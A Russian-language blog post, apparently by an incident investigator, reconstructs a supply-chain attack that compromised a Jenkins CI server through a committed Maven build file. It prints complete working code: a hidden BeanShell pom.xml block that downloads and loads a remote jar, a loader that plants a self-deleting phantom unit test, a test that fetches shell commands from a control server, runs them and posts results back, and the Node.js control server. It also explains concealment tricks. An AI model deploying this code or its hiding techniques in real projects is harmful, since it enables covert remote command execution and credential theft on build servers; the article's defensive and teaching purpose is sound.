experiments
January 25

Пенетрация Jenkins или история одного взлома

Временами получается поучаствовать в разгребании последствий «взломов с проникновением» в чужие ИТ-системы, по итогам одного такого расследования и будет этот рассказ. Восстановил для вас полную картину.

1. Файл с командами, 2. Коммит в уязвимый репозиторий, 3. Автосборка на Jenkins по коммиту, 4. Результат удаленного выполнения команд.

Вводная

Вообще говоря, описанное это вариация supply chain attack, которые стали очень распространенными за последние четыре года. Большинство утечек данных последних лет из крупных ИТ-компаний и игровых студий происходили как раз через такие атаки.

Вот тут для примера несколько реальных кейсов, а тут и тут — более глубокая проработка самой идеи и исследования.

Но почему-то несмотря на давнюю известность и явную популярность такого типа атак среди современных компьютерных жуликов, широким админским массам о них не особо известно.

Проект и его окружение

Для начала расскажу немного о самом проекте-жертве и его окружении:

Большая компания, большой и достаточно старый проект, над которым работало и работает очень много разнообразных специалистов — админов, разработчиков, тестировщиков, аналитиков, архитекторов.

Многие из этих специалистов были и есть внештатные, с «плавающим» временем пребывания на проекте — кто-то участвует лишь пару месяцев, кто-то полгода-год.

Аутсорс, аутстафф и банальная текучка кадров (в том числе среди админов и менеджеров) никогда не позволяла «держать всю картину проекта» в чей-то одной голове, поэтому все участники знали детали проекта лишь частично — в рамках своей зоны ответственности.

Словом типичный такой корпоративный бардак, хорошо всем понятный и знакомый.

Полагаю многие из читателей в таком и проводят рабочие будни а некоторые еще и цинично этим наслаждаются.

Разумеется была и «корпоративная политика безопасности» и «разграничения доступа» и много чего еще, но против дебилизма, криворукости и забывчивости никакие технические средства не помогут.

Техническое описание

Проект в основном разрабатывался на Java, с небольшими частями на других языках: Python, Node.js, плюс различные скрипты на bash.

Разумеется с кучей legacy из былинных времен

Для сборки проекта и запуска автотестов (которых также было немало) использовался Apache Maven — запомните этот момент.

Естественно было разделение на модули и сервисы, куча разных баз данных, очереди сообщений и так далее, всего около 300 артефактов — библиотек и приложений.

Репозиториев для хранения исходного кода было несколько, некоторые использовались не по своему прямому назначению а для хранения и правок дополнительного контента и данных:

страниц Wiki, скриптов миграции, отчетных SQL-выборок и так далее.

Серверов CI/CD также было развернуто несколько, но все одного типа — Jenkins, видимо для унификации. С помощью CI была организована автоматическая сборка и развертывание частей проекта на серверах.

Причем как оказалось в итоге работало это как на тестовых так и на продуктовых серверах, но «по кнопке» — администратор вручную запускал задачу в Jenkins, которая ему обновляла продуктовый сервер.

Также для тестовых серверов запуск сборки с развертыванием происходил по коммиту в репозиторий, через специальные хуки.

Коммит в репозиторий автоматически запускал сборку проекта

Отметим этот второй важный момент.

Инцидент

Опишу для начала кратко что произошло:

из-за утекшей учетки c правами на запись в один из репозиториев проекта, у злоумышленников получилось забраться на CI-сервер и вытащить с него админские ключи «практически ко всему». С CI-сервера также был доступ к продуктовым серверам и базам данных — все это было успешно выгружено и использовалось для шантажа компании ради материального вознаграждения.

Из материалов дела, так сказать.

Может показаться, что получение посторонним лицом доступа к репозиторию с исходным кодом — само по себе ЧП и невероятно сложная задача, риски такого события где-то на уровне стихийных бедствий или массовых беспорядков — «хрен защитишься».

Поэтому проще забить совсем чем пытаться такое предотвращать и как-то контролировать хотя-бы частично.

Увы но нет, я не случайно упомянул выше про контракторов и сторонних подрядчиков:

при размере команды проекта в сотню человек, минимум раз в неделю будут происходить какие-либо действия с учетными данными: выдача новых, отключение старых и утерянных, изменения в правах и объектах доступа.

По-другому просто не бывает.

Условный Вася вышел на работу — ему обязательно нужна учетка в репозитории для начала самой работы, Маша уволилась или ушла в декрет — ее учетку надо обязательно заблокировать или удалить.

Это если по-хорошему.

Но к сожалению «по-хорошему» бывает редко, куда чаще учетные данные к репозиториям являются бессрочными и остаются в системах, а доступ уволенного сотрудника блокируется на уровне VPN и входа в офис.

А еще часто бывают «общие» учетные записи, особенно у админов — когда под одной и той же учеткой по рабочим серверам шарится весь отдел, включая техподдержку.

Каков шанс на утечку такой общей учетной записи и все последующие проблемы думаю вы и сами оцените.

Расследование

Поскольку я имел дело уже с последствиями происшедшего инцидента, задача ставилась так:

разобрать всю цепочку проникновения и помочь СБ найти виновных, если таковые имеются

Скажу сразу что «план-перехват результатов не дал» конкретных виновников устанавливала СБ с помощью правоохранительных органов, это уже совсем не моя епархия.

Насколько мне известно, кого-то даже удалось поймать и отправить добывать уран в итоге наказать. Но к сожалению, поскольку на сделку с хакерами компания не пошла, ее данные все-таки попали в открытый доступ.

Не то чтобы это сильно ударило по компании и ее бизнесу, но руководство посчитало «неприятным опытом».

И приняло меры, одной из которых и было мое скромное участие.

Ниже я покажу восстановленный и сильно упрощенный код, использовавшийся для проникновения и продемонстрирую по шагам весь процесс — как это происходило.

Видео в сборе с демонстрацией процесса

Исходный код выложен на github, в репозитории три разных проекта, вместе демонстрирующих описываемую атаку:

vulnerable-app

Проект-симулятор с уязвимой сборкой, в которую и была зашита тайная загрузка и выполнение.

fake-test-payload

Код библиотеки, которая тайно загружается при сборке, получает команды с управляющего сервера и отправляет назад результат выполнения.

command-server

Тестовый управляющий сервер, который отдает текстовый файл с командами для выполнения и имеет POST-метод для приема результата выполнения.

Локальная демонстрация

Для того расследования (и красивых скриншотов в статье), я воссоздавал среду заказчика целиком:

с развертыванием Jenkins, созданием тестового репозитория, с пользователями и настройкой хуков при коммитах.

Но вам для минимальной демонстрации будет достаточно собрать три части проекта и запустить в определенном порядке.

Забираем проект:

git clone https://github.com/alex0x08/poc-jenkins-commit-attack.git

Собираем библиотеку с помощью Maven:

cd fake-test-payload && mvn clean package

Копируем получившийся .jar файл в папку static управляющего сервера:

cp target/fake-test-payload-1.0-SNAPSHOT.jar ../command-server/static/evil.jar

Собираем и запускаем управляющий сервер:

cd ../command-server
npm install
npm start

Запустится Node.js +Express приложение на порту 8000:

Дальше запускаем сборку уязвимого приложения:

cd ../vulnerable-app/ && mvn clean package

При запуске сборки произойдет подключение к командному серверу, скачивание библиотеки и ее автоматический запуск, уже без вашего участия.

Дальше при каждой сборке будут выполняться команды, скачиваемые с командного сервера и отправка назад результатов.

Как это работает

Начнем с самой системы сборки Apache Maven.

В качестве своеобразного «скрипта сборки» для нее выступает XML-файл pom.xml, находящийся (по-умолчанию) в корне проекта. Стандартный процесс сборки с помощью Apache Maven заключается в чтении этого pom.xml, с последующим его разбором и пошаговым выполнением шагов сборки.

Конкретные шаги сборки в Maven описываются в виде набора плагинов, которые выполняются в определенной последовательности.

Важно то что эти плагины используются в скомпилированном виде, поэтому ни код собираемого с помощью Maven приложения ни какой-либо произвольный код так просто не выполняется.

На первый взгляд выглядит достаточно безопасно.

Но если немного подумать и копнуть глубже, то обязательно найдутся «нехорошие варианты».

Beanshell Maven Plugin

Существует в природе такой замечательный проект BeanShell — интерпретатор «псевдоджавы», с синтаксисом похожим на Java 1.5, часто используется в качестве встраиваемого скриптового движка, особенно в старых проектах.

Пример кода:

int addTwoNumbers( int a, int b ) {
    return a + b;
}
sum = addTwoNumbers( 5, 7 );  // 12

Если не вдаваться в детали, на глаз визуально это похоже на настоящую джаву. Но самое главное:

BeanShell является Java-приложением, поэтому позволяет в своем коде вызывать и использовать методы и классы из «большой джавы».

Еще на свете существует известный и широко используемый плагин для Maven, позволяющий вызывать код на BeanShell во время процесса сборки.

Причем код скрипта BeanShell можно запихать внутрь XML-файла сборки:

<plugin>
  <groupId>com.github.genthaler</groupId>
  <artifactId>beanshell-maven-plugin</artifactId>
  <version>1.4</version>
  <executions>
       <execution>
          <phase>process-test-resources</phase>
              <goals>
                  <goal>run</goal>
              </goals>
          </execution>
   </executions>
   <configuration>
   <quiet>true</quiet>
   <script>
      <![CDATA[
        System.out.println();
        import java.io.*;
        File r = new File("/tmp/evil.jar");
        if (!r.exists()) {
          InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis())
                                .openStream();
          OutputStream out = new FileOutputStream(r);
          byte[] data = new byte[1024]; int count;
          while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close();
        }
        addClassPath( r.toURI().toURL() );
        org.evil.EvilRun.run();
        ]]>
    </script>
   </configuration>
</plugin>

Еще раз, если вы вдруг не поняли:

это не какая-то экзотика или «блажь больного джависта» — плагин доступен в центральном репозитории Apache Maven и используется во многих крупных проектах. Годами.

Собственно вы и сами можете скопировать блок XML выше и вставить в любой ваш произвольный проект — он выполнится.

Теперь давайте разберем вложенный код скрипта, вот он отдельно:

System.out.println();
import java.io.*;
File r = new File("/tmp/evil.jar");
if (!r.exists()) {
  InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis())
                                .openStream();
  OutputStream out = new FileOutputStream(r);
  byte[] data = new byte[1024]; 
  int count;
  while((count = in.read(data, 0, 1024)) != -1) 
      out.write(data, 0, count); 
  out.close();
}
addClassPath( r.toURI().toURL() );
org.evil.EvilRun.run();

Первая строчка:

System.out.println();

нужна лишь для отвода глаз введения в заблуждение:

плагин с BeanShell отображает либо первую не пустую строчку кода скрипта либо весь скрипт целиком.

Очевидно что атакующему не очень надо было палить свой зловредный код при сборке, поэтому с помощью опции:

 <quiet>true</quiet>

было включено отображение только первой строчки, в качестве которой и выступила System.out.println() , которая печатает пустую строку.

Дальше происходит проверка на существование локальной копии зловредной библиотеки:

File r = new File("/tmp/evil.jar");
if (!r.exists()) {
...
}

И если ее еще нет, то происходит скачивание с управляющего сервера:

 InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis())
                                .openStream();
  OutputStream out = new FileOutputStream(r);
  byte[] data = new byte[1024]; 
  int count;
  while((count = in.read(data, 0, 1024)) != -1) 
      out.write(data, 0, count); 
  out.close();
  

Дальше используется фишка особенность плагина BeanShell в виде динамического управления Classpath выполняемого скрипта:

addClassPath( r.toURI().toURL() );

Да да, прямо во время работы происходит добавление скачанной библиотеки в текущий Classpath и запуск класса уже изнутри этой библиотеки:

org.evil.EvilRun.run();

Что внутри нее мы разберем чуть ниже, а сейчас надо пояснить важный момент:

весь код выше на самом деле использовался разово — для скачивания зловредной библиотеки на CI-сервере, а затем коммит с ним был удален из репозитория.

Имейте ввиду такую возможность, очень многие не знают о том что коммиты могут удаляться и затираться, после чего они не будут видны через стандартные средства просмотра репозитория.

Версия, которая осталась в репозитории выглядела куда более безопасно:

<plugin>
  <groupId>com.github.genthaler</groupId>
  <artifactId>beanshell-maven-plugin</artifactId>
  <version>1.4</version>
  <executions>
       <execution>
          <phase>process-test-resources</phase>
              <goals>
                  <goal>run</goal>
              </goals>
          </execution>
   </executions>
   <configuration>
   <quiet>true</quiet>
   <script>
      <![CDATA[
        System.out.println();
        java.io.File r = new java.io.File("/tmp/jlx-vendor-patch-30.24.1rev12.jar");
        if (r.exists()) {  addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run();  }
        ]]>
    </script>
   </configuration>
</plugin>

Естественно что никаких org.evil.EvilRun там не было, а все в целом выглядело как стандартный но немного кривой патч от вендора.

По крайней мере именно такой отзыв я получил от админов компании, которые видели оригинальный блок с вызовом.

Злая библиотека

Теперь разберем саму зловредную библиотеку. Но прежде чем продолжать, стоит пояснить еще одну важную деталь:

Разработчики, DevOps и админы в массе своей — не полные идиоты.

Поэтому ввести их в заблуждение и заставить незамечать манипуляции с CI-сервером, с которым они работают каждый день по много раз — не такая простая задача как может показаться из этой статьи.

Это все вот к чему:

технически можно было легко обойтись одним лишь BeanShell и забить весь код туда, но тогда любая сетевая задержка или ошибки при выполнении команд рано или поздно привлекли бы внимание, поскольку сборка проекта тормозила бы четко на этой стадии, всячески себя подсвечивая.

Но есть место в любом крупном проекте, где произвольные тормоза и постоянные ошибки являются нормой.

И называется этот «рай офицера» — unit-тесты.

Даже в самых крутых и самых дорогих проектах на моей памяти всегда были падающие и временно неработающие тесты.

Что-то чинили, на что-то забивали но поддержка и сопровождение юнит-тестов никогда не была главным приоритетом.

Еще разумеется на большом проекте количество автотестов никто не считает, поэтому если добавится еще один — мало кто заметит.

По крайней мере сразу.

Оригинальные авторы изучаемого зловреда видимо тоже были в курсе такого положения дел, поэтому и поместили всю управляющую логику именно в такой тест, причем с сюрпризом.

Начнем с кода:

package org.evil;
import java.io.File;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.Objects;
/*
This class will be called from BeanShell script
 */
public class EvilRun {
    // point of execution
    public static void run() {
        try {
            String projectDir = System.getProperty("maven.multiModuleProjectDirectory");
            File targetFolder = new File(projectDir + "/target/test-classes");

            if (!targetFolder.mkdirs()) {
                throw new RuntimeException("Cannot create folder:%s".formatted(targetFolder));
            }

            System.out.println("evil class was called..");
            final String fname = EvilTest.class.getSimpleName() + ".class";
            try (InputStream in = Objects.requireNonNull(EvilTest.class.getResource(fname)).openStream()) {
                File d = new File(targetFolder, EvilTest.class.getPackageName()
                        .replaceAll("\\.", "/"));
                if (!d.mkdirs()) {
                    throw new RuntimeException("Cannot create folder:%s".formatted(d));
                }
                System.out.printf("folder: %s%n", d.getAbsolutePath());
                Files.copy(in,
                        new File(d,fname).toPath(), StandardCopyOption.REPLACE_EXISTING);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Собственно статичный метод run() это и есть точка входа, вызываемая плагином BeanShell:

org.evil.EvilRun.run();

Как видите вся логика обернута в try-catch блок, но разумеется в оригинале никакого показа трассировки не было, все сообщения об ошибках просто глушились — чтобы лишний раз не палиться.

Дальше происходит чтение специальной переменной окружения:

String projectDir = System.getProperty("maven.multiModuleProjectDirectory");        

которую (как и еще несколько) задает сам Maven при запуске сборки.

Переменная, как нетрудно догадаться, содержит полный путь до корня собираемого проекта — не забывайте что оригинальный проект в отличие от тестового был очень большим и содержал множество разных модулей со своей внутренней иерархией.

Дальше происходит определение каталога с уже собранными классами тестов и попытка создания, если таковой не найден:

File targetFolder = new File(projectDir + "/target/test-classes");
if (!targetFolder.mkdirs()) {
         throw new RuntimeException("Cannot create folder:%s"
         .formatted(targetFolder));
}

Дальше определяется полный путь до класса с классом фейкового теста внутри зловредной библиотеки:

final String fname = EvilTest.class.getSimpleName() + ".class";
try (InputStream in = Objects
     .requireNonNull(EvilTest.class.getResource(fname)).openStream()) {
      File d = new File(targetFolder, EvilTest.class.getPackageName()
                        .replaceAll("\\.", "/"));                
      if (!d.mkdirs()) {
                    throw new RuntimeException("Cannot create folder:%s"
                    .formatted(d));
      }
      System.out.printf("folder: %s%n", d.getAbsolutePath());
      
      Files.copy(in,new File(d,fname).toPath(), 
        StandardCopyOption.REPLACE_EXISTING);
}

Затем этот класс копируется из библиотеки в папку с готовыми тестами.

Получается такой фантомный тест, исходного кода которого на сервере нет, а его выполнение — есть.

Это еще один важный урок для DevOps и админов, которые по работе должны отвечать за сборку на Maven:

абсолютно все классы, которые попадают в каталог target/test-classes считаются тестами и запускаются автоматически при работе Maven.

Да, теперь после осознания сего факта ваша жизнь стала еще немного сложнее, поздравляю.

Теперь наконец давайте разберем логику, отвечающую за взаимодействие с командным сервером, то что внутри зловредного теста:

package org.evil;

import org.junit.Test;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.List;

public class EvilTest {
    @Test
    public void testEvil() {
        System.out.println("Not so ordinary test");

        List<String> commands = getCommands();
        String raw = execute(commands);
        send(raw);

        try {
            final Path p = Path.of
                    (this.getClass().getProtectionDomain()
                    .getCodeSource().getLocation()
                    .toURI().getPath(),
                    this.getClass()
                    .getPackageName().replaceAll("\\.","/"),
                            this.getClass().getSimpleName()+".class");
            final File f = p.toFile();
            System.out.printf("file: %s%n", f.getAbsolutePath());
            // Requests that the file or directory denoted by this abstract
            // pathname be deleted when the virtual machine terminates.
            f.deleteOnExit();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public List<String> getCommands() {
        try {
            URL u = new URL("http://localhost:8000/commands.txt");
            List<String> commands = new ArrayList<>();
            try (BufferedReader in = new BufferedReader(
                    new InputStreamReader(u.openStream()))) {
                String inputLine;
                while ((inputLine = in.readLine()) != null) {
                    if (!inputLine.isBlank())
                        commands.add(inputLine);
                }
            }
            return commands;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public String execute(List<String> commands) {
        if (commands==null) {
            return null;
        }
        final StringBuilder sb = new StringBuilder("Results of ")
                .append(commands.size())
                .append(" commands\n");
        for (String c:commands) {
            sb.append(c).append("\n");
            String result = run(c);
            if (result==null || result.isBlank()) {
                sb.append("error");
            } else {
                sb.append(result);
            }
            sb.append('\n');
        }
        return sb.toString();
    }

    public void send(String data) {
        if (data==null || data.isBlank()) {
            return;
        }
        System.out.printf("sending %s%n", data);
        HttpURLConnection conn = null;
        try {
            String encodedData = "data=%s".formatted(URLEncoder.encode(data, StandardCharsets.UTF_8));
            URL u = new URL("http://localhost:8000/api/receive");
            conn = (HttpURLConnection) u.openConnection();
            conn.setDoOutput(true);
            conn.setDoInput(true);
            conn.setDoOutput(true);
            conn.setAllowUserInteraction(true);
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            conn.setRequestProperty("Content-Length", String.valueOf(encodedData.length()));
            conn.connect();
            OutputStream os = conn.getOutputStream();
            os.write(encodedData.getBytes());
            os.flush();
            System.out.printf("done: %d%n", conn.getResponseCode());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (conn!=null) {
                try { conn.disconnect();} catch (Exception ignored) {}
            }
        }
    }

    public String run(String c)   {
        try {
            ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c",c);
            Process process = pb.start();
            process.waitFor();
            return new String(process.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}

Теперь по шагам.

Вот этот метод с аннотацией @Test по мнению Maven является обычным тестом, достойным автоматического запуска при сборке:

@Test
public void testEvil() {
        System.out.println("Not so ordinary test");
        ..
}

Три последовательных вызова ниже:

List<String> commands = getCommands();
String raw = execute(commands);
send(raw);

являются всей логикой работы нашего упрощенного зловреда:

  1. получаем команды с управляющего сервера;
  2. выполняем;
  3. отправляем назад результат.

Все достаточно просто, как раз для для PoC и демонстрации работы.

Разумеется в оригинале код был на порядок сложнее: с криптографией, обфрускацией, повторной отправкой и так далее. Но честным гражданам ведь это не интересно, правда ведь?

А вот блок ниже был сохранен как раз для оценки уровня исполнения оригинала:

try {
     final Path p = Path.of
                    (this.getClass().getProtectionDomain()
                    .getCodeSource().getLocation()
                    .toURI().getPath(),
                    this.getClass()
                    .getPackageName().replaceAll("\\.","/"),
                            this.getClass().getSimpleName()+".class");
            final File f = p.toFile();
            System.out.printf("file: %s%n", f.getAbsolutePath());
            // Requests that the file or directory denoted by this abstract
            // pathname be deleted when the virtual machine terminates.
            f.deleteOnExit();
            
} catch (Exception e) {
      e.printStackTrace();
}

Он отвечает за..самоуничтожение.

Нет я серьезно, да это код на такой «безопасной» Java, который удаляет сам себя (скомпилированную версию) с диска прямо во время своей же работы.

Происходит это путем определения пути к собственному классу c учетом имени, названия пакета и родительского пути:

final Path p = Path.of
                    (this.getClass().getProtectionDomain()
                    .getCodeSource().getLocation()
                    .toURI().getPath(),
                    this.getClass()
                    .getPackageName().replaceAll("\\.","/"),
                            this.getClass().getSimpleName()+".class");

и указанием «удалить при завершении работы виртуальной машины»:

f.deleteOnExit(); 

В результате все «шито-крыто»: в файловой системе такого теста нет, но при запуске сборки он выполняется.

Код каждого из методов, отвечающих за взаимодействие с управляющим сервером думаю разбирать не стоит — там все очень тривиально и будет понятно даже совсем зеленым быдлокодерам разработчикам.

Командный сервер

Расскажу еще немного про «командный сервер».

Думаю и так очевидно, что доступа к оригиналу этой штуки у меня не было, поскольку сервер работал на стороне злоумышленников и был отключен сразу после атаки.

Так что это полностью собственная, максимально упрощенная реализация — без какой-либо авторизации, проверок и криптографии.

Выполняет этот сервер всего три задачи:

  1. Отдача текстового файла с командами для выполнения,
  2. Отдача для скачивания зловредной библиотеки,
  3. Прием результатов выполнения команд.

Вот весь код реализации:

var express = require("express")
var app = express()

app.use('/static', express.static('static'));
app.use('/commands.txt', express.static('static/commands.txt'));

var bodyParser = require("body-parser");
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

var HTTP_PORT = 8000

// Start server
app.listen(HTTP_PORT, () => {
    console.log("Server running on port %PORT%".replace("%PORT%",HTTP_PORT))
});

app.post("/api/receive", (req, res, next) => {   
    console.log('received data:',req.body.data);   
    res.json({
        "message":"ok",
            });    
});
// Root path
app.get("/", (req, res, next) => {
    res.json({"message":"ok"})
});

Единственная зависимость — сам Express фреймворк, отвечающий за всю логику построения сервера, отдачу статики и разбор входящих данных.

Видите сколько всего интересного можно вытащить из окружения работающей сборки, аж глаз дергается.

Выводы и рекомендации

Поскольку это любительская статья в частном блоге, а не официальный отчет — тут я вполне могу говорить «как есть», а не «как будет лучше» и не сдерживаться.

И если говорить «как есть»:

Любой CI/CD сервер это п#здец и ужас с точки зрения ИБ, а вся современная практика Continuous integration  — контракт с Сотоной, подписанный вашей кровью, поскольку за скорость разработки вы платите постоянным риском взлома и утечки.

Как только в одном месте встречаются автоматическое скачивание и выполнение кода — неизбежно и неотвратимо ищут третьего возникает дыра в безопасности. И ничего с этим не сделать, поскольку проблема на уровне самой концепции CI/CD:

Все эти «песочницы» с докерами и safe execution лишь по-лу-меры, которые рано или поздно получается обойти.

Эта статья, надеюсь — яркий тому пример.

Если вы всерьез заинтересованы вопросами безопасности разработки — создаете софт для авиационной или атомной отрасли или (тем более) оборонки, первое что вам стоит сделать это полностью изолировать всю разработку от доступа в сеть.

Вообще всю и целиком: вся работа должна происходить только в закрытом контуре — от рабочих мест разработчиков и до серверов. Автоматического скачивания чего-либо из сети у вас быть не должно.

Никаких бинарных библиотек тоже — все каждый раз собирается только из исходников.

Для ребят попроще могу посоветовать глянуть сумму штрафа для юридических лиц за утечку персональных данных, в качестве своеобразной мотивации.

Хотя на момент написания этой статьи оборотные штрафы (в размере нескольких процентов от оборота компании) еще не введены в действие, тенденция к ужесточению наказания за утечки вполне прослеживается.

И совсем уж забивать на безопасность софта вам больше просто не дадут на уровне государства.

А есть еще репутационные риски, особенно если ваша компания — банк.

Если вы не имеете профильного экономического образования и слабо себе представляете что такое банк как бизнес — сложно будет воспринять факт, что если хотя-бы 10% владчиков одновременно заберут свои вклады, то банк немедленно разорится.

А что может заставить толпу безумных хомячков бежать и снимать сбережения? Например новость о том что их «банк взломали».

Даже если никакого взлома на самом деле не было, например вам попался неадекватный сотрудник, решивший отомстить — объяснять это потом будет просто некому.

Так что как минимум стоит задуматься и начать принимать меры, особенно если содержание статьи стало для вас откровением.